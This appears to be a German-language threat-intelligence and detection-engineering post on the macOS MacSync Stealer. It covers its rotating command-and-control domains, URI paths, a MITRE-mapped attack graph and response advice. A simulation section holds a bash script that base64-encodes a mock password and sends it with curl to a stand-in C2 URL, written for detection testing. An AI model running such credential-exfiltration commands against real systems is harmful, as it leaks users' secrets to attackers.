SOC Prime Bias: Mittel

12 Mai 2026 18:31

MacSync Stealer verwendet rotierende C2-Infrastruktur

Author Photo
Ruslan Mikhalov Leiter der Bedrohungsforschung bei SOC Prime linkedin icon Folgen
MacSync Stealer verwendet rotierende C2-Infrastruktur
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

MacSync Stealer ist eine macOS-Informationsdiebstahl-Malware, die über ein Malware-as-a-Service-Modell angeboten wird. Sie basiert auf einem mehrstufigen zsh Loader, der sich mit einem rotierenden Pool von Command-and-Control-Domains verbindet, um gestohlene Informationen wie Passwörter und Kryptowährungs-Wallet-Anmeldedaten zu exfiltrieren. Der Loader überträgt Klartext-Passwörter über einen Query-String-Parameter und lädt ein ZIP-Archiv der gesammelten Daten in 10 MiB-Chunks hoch. Seine Infrastrukturrotations-Strategie hängt von einem statischen API-Schlüssel ab, der über mehrere Domains hinweg wiederverwendet wird, zusammen mit einem pro Build festgelegten Hexadezimal-Token.

Untersuchung

RST Cloud erkannte einen Downloadversuch von der neu registrierten Domain jacksonvillemma.com und fing den Stage 2 zsh Loader innerhalb einer Stunde ab. Statische Analyse deckte das Token, den API-Schlüssel und den Command-and-Control-Pfad des Loaders auf: /curl, /dynamic, und /gate. Zusätzliches Pivotieren basierend auf diesen URI-Mustern offenbarte einen Cluster von etwa zwölf verdächtigen Command-and-Control-Domains, die zwischen Februar und Mai 2026 aktiv waren. Vier dieser Domains wurden bestätigt, denselben API-Schlüssel zu teilen, während die anderen nur durch übereinstimmendes URI-Verhalten verbunden waren.

Minderung

Verteidiger sollten alle bekannten MacSync-Command-and-Control-Domains blockieren und nach den eindeutigen URL-Pfadmuster suchen, die von der Malware verwendet werden. Proxy- und DNS-Logs sollten auf Anfragen mit /curl, /dynamic, und /gate, sowie auf den verkürzten, Chrome-ähnlichen macOS-User-Agent-String, der mit dem Loader verbunden ist, überprüft werden. Sicherheitsteams sollten auch die Erstellung von /tmp/osalogging.zip detektieren und aufpassen auf zsh Prozesse, die base64 -D, gunzip, und eval in Kombination ausführen.

Reaktion

Wenn ein passender Indikator gefunden wird, isolieren Sie sofort den betroffenen Endpunkt, beenden Sie den bösartigen zsh Prozess und sammeln Sie den Speicher zur Analyse von möglichen AppleScript-Payloads. Setzen Sie freigelegte Benutzerpasswörter zurück und invalidieren Sie kompromittierte Anmeldedaten, die im macOS-Schlüsselbund gespeichert sind. Die Erkennungslogik sollte auch mit dem beobachteten Token, API-Schlüssel und den User-Agent-Mustern aktualisiert werden, um das Risiko zukünftiger Kompromittierungen zu verringern.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% Nodes initial_access_phishing["<b>Technik</b> – T1566 Phishing<br/><b>Beschreibung</b>: Malvertising liefert ein Skript, das curl ausführt, um den Stageu202f2 Zsh-Loader von einer C2-Domain abzurufen."] class initial_access_phishing action tool_curl["<b>Werkzeug</b> – curl<br/><b>Beschreibung</b>: Befehlszeilendienstprogramm, das verwendet wird, um den Stageu202f2 Loader herunterzuladen."] class tool_curl tool defense_obfuscate_compile["<b>Technik</b> – T1027.004 Nach der Lieferung kompilieren<br/><b>Beschreibung</b>: Zsh-Wrapper enthält eine base64u2011gzip-Payload, die mit eval decodiert und ausgeführt wird."] class defense_obfuscate_compile action defense_embedded_payload["<b>Technik</b> – T1027.009 Eingebettete Payloads<br/><b>Beschreibung</b>: Payload ist als base64u2011kodierter, gzipu2011komprimierter Blob im Wrapper eingebettet."] class defense_embedded_payload action defense_stripped_payload["<b>Technik</b> – T1027.008 Geprägte Payloads<br/><b>Beschreibung</b>: Wrapper ist von identifizierbaren Zeichenfolgen bereinigt und verlässt sich auf Laufzeit-Dekodierung."] class defense_stripped_payload action defense_dynamic_api["<b>Technik</b> – T1027.007 Dynamische API-Auflösung<br/><b>Beschreibung</b>: HTTP-Anfragen enthalten ein statisches API-Schlüssel-Header und einen benutzerdefinierten, verkürzten User-Agent."] class defense_dynamic_api action execution_shared_modules["<b>Technik</b> – T1129 Geteilte Module<br/><b>Beschreibung</b>: Decodiertes Skript wird als Hintergrundfunktion im Zsh über eval ausgeführt."] class execution_shared_modules action process_zsh["<b>Prozess</b> – Zsh<br/><b>Beschreibung</b>: Shell wird verwendet, um die entschlüsselte bösartige Funktion auszuführen."] class process_zsh process cred_os_dumping["<b>Technik</b> – T1003 OS-Berechtigungs-Entladung<br/><b>Beschreibung</b>: AppleScript, das von C2 abgerufen wird, extrahiert macOS-Schlüsselbund-Einträge."] class cred_os_dumping action cred_browser["<b>Technik</b> – T1555.003 Berechtigungen aus Webbrowsern<br/><b>Beschreibung</b>: Dasselbe AppleScript erntet gespeicherte Anmeldedaten aus Chromium-Browsern und Kryptogeld-Wallet-Erweiterungen."] class cred_browser action cred_unsecured_files["<b>Technik</b> – T1552.001 Unverschlüsselte Anmeldedaten in Dateien<br/><b>Beschreibung</b>: Gesammelte Daten werden vor der Exfiltration nach /tmp/osalogging.zip geschrieben."] class cred_unsecured_files action file_archive["<b>Datei</b> – /tmp/osalogging.zip<br/><b>Beschreibung</b>: Zip-Archiv, das gesammelte Anmeldedaten enthält."] class file_archive file collection_archive["<b>Technik</b> – T1560 Gesammelte Daten archivieren<br/><b>Beschreibung</b>: Daten werden in einem Zip-Archiv zur Bereitstellung komprimiert."] class collection_archive action command_control_dynamic["<b>Technik</b> – T1568 Dynamische Auflösung<br/><b>Beschreibung</b>: Malware kontaktiert C2 durch HTTP-Pfade, die durch Mustersuche entdeckt wurden."] class command_control_dynamic action cred_valid_accounts["<b>Technik</b> – T1078 Gültige Konten<br/><b>Beschreibung</b>: User macOS-Passwort wird im Klartext über den u201c&pwd=u201d-Query-Parameter gesendet, was dem Angreifer gültige Anmeldeinformationen gibt."] class cred_valid_accounts action %% Connections initial_access_phishing –>|verwendet| tool_curl tool_curl –>|liefert| defense_obfuscate_compile defense_obfuscate_compile –>|beinhaltet| defense_embedded_payload defense_embedded_payload –>|beinhaltet| defense_stripped_payload defense_stripped_payload –>|verwendet| defense_dynamic_api defense_dynamic_api –>|ermöglicht| execution_shared_modules execution_shared_modules –>|ausführen| process_zsh process_zsh –>|läuft| cred_os_dumping cred_os_dumping –>|aktiviert| cred_browser cred_browser –>|schreibt zu| cred_unsecured_files cred_unsecured_files –>|erstellt| file_archive file_archive –>|genutzt von| collection_archive collection_archive –>|gesendet zu| command_control_dynamic command_control_dynamic –>|bietet| cred_valid_accounts "

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Telemetrie- & Baseline-Vorabtest muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN direkt die identifizierten TTPs widerspiegeln und dazu dienen, die genau erwartete Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer hat das MacSync Stealer-Binary auf einem kompromittierten macOS-Arbeitsplatz bereitgestellt. Der Stealer extrahiert das aktuelle macOS-Schlüsselbundpasswort des Benutzers, kodiert es base64 und exfiltriert es über eine HTTP-GET-Anfrage durch den Unternehmensproxy. Die Anfrage richtet sich an den bekannten C2-Endpunkt https://malicious.c2.net/dynamic?txd=<payload>. Da die Proxy-Logs vollständige URLs beinhalten, wird die Erkennungsregel die dynamic?txd= Teilzeichenfolge sehen und einen Alarm auslösen.

  • Regressionstest-Skript:

     #!/bin/bash
      # macsync_stealer_simulation.sh
      # Simuliert die MacSync-Stealer-C2-Kommunikation, um die Erkennungsregel auszulösen.
    
      PROXY="http://proxy.corp.local:3128"
      C2_BASE="https://malicious.c2.net/dynamic?txd="
    
      # 1️⃣ Extrahiere ein Mock-Passwort (zu Demozwecken den aktuellen Benutzernamen verwenden)
      PASSWORD="$(whoami):P@ssw0rd!"
    
      # 2️⃣ Kodierung der Anmeldedaten in base64 (emuliert das Encoding-Schritt von MacSync)
      ENCODED=$(printf "%s" "$PASSWORD" | base64)
    
      # 3️⃣ Vollständige bösartige URL konstruieren
      MALICIOUS_URL="${C2_BASE}${ENCODED}"
    
      # 4️⃣ Sende die Anfrage über den Unternehmensproxy
      curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
    
      echo "Simulation ausgeführt – Payload an $MALICIOUS_URL gesendet"
  • Aufräumbefehle:

     # Entferne temporäre Dateien (keine erstellt) und optional Proxy-Cache löschen
      echo "Simulation-Artefakte bereinigen..."
      # Bei Verwendung von Squid, die URL aus dem Cache löschen, um wiederholte Treffer zu vermeiden
      sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"